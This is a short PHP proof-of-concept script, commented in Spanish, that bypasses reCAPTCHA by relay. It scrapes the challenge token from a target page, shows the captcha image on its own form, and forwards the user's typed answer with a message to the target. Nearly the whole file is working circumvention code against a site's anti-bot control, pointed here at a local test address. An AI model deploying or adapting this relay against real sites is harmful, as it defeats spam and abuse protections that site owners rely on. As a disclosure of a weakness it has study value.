<?php

//Si se envio el formulario, compruebo el el input
//donde se inserte la captcha, contenga algun valor
if(!empty($_POST['captcha_valude'])) {

$data =' nombre='.$_POST['mensaje'].'&recaptcha_challenge_field='.$_POST['cod'].'&recaptcha_response_field='.urlencode($_POST['captcha_valude']);
echo post('http://127.0.0.1/a.php', $data);
}
//Fin del poc para el bypass

//Obtengo la imagen de la captcha y luego la muestro....
$contenido = get('http://127.0.0.1/a.php');
preg_match('/ipt" src="(h[^"]+)/', $contenido, $result);
preg_match('/challenge :[\s\n]+\'([^\']+)/i', get($result[1]), $cont); 
$img = 'http://www.google.com/recaptcha/api/image?c='.$cont[1];
echo '<IMG src="'.$img.'">';
//Fin...

//Funcion para realizar peticiones GET
function get($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}

//Funcion para realizar peticiones POST
function post($url, $contenido) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $contenido);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec ($ch);
curl_close ($ch);

return $result;
}

?>

<!--Formulario-->
<form action="aa.php" method="POST">
<p>Inserte el contenido de la captcha</p>
<p><input type="text" name="captcha_valude"></p>
<p>Inserte el mensaje <br><input type="text" name="mensaje"></p>
<input type="hidden" name="cod" value="<?php echo $cont[1]; ?>">
<input type="submit" value="Enviar">
</form>